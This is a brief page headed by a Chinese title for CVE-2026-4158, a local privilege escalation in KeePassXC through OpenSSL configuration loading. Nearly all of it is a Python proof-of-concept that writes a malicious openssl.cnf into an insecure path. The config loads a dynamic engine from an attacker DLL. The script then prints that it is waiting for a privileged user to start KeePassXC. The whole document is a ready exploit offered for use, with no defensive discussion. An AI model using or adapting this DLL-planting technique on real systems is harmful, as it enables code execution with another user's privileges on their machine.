CVE-2026-4158 KeePassXC OpenSSL配置本地提权漏洞

# PoC Concept for CVE-2026-4158 # This demonstrates how a malicious configuration could be created. # An attacker would place this file in an unsecured path searched by KeePassXC. import os # Malicious OpenSSL configuration content # This attempts to load a malicious DLL or execute commands malicious_config = """ openssl_conf = openssl_init [openssl_init] engines = engine_section [engine_section] payload = payload_section [payload_section] engine_id = payload dynamic_path = C:\\Temp\\evil_payload.dll init = 0 """ # Simulate planting the file path_to_drop = "C:\\InsecurePath\\openssl.cnf" with open(path_to_drop, "w") as f: f.write(malicious_config) print(f"[+] Malicious configuration dropped at {path_to_drop}") print("[+] Wait for a privileged user to launch KeePassXC...")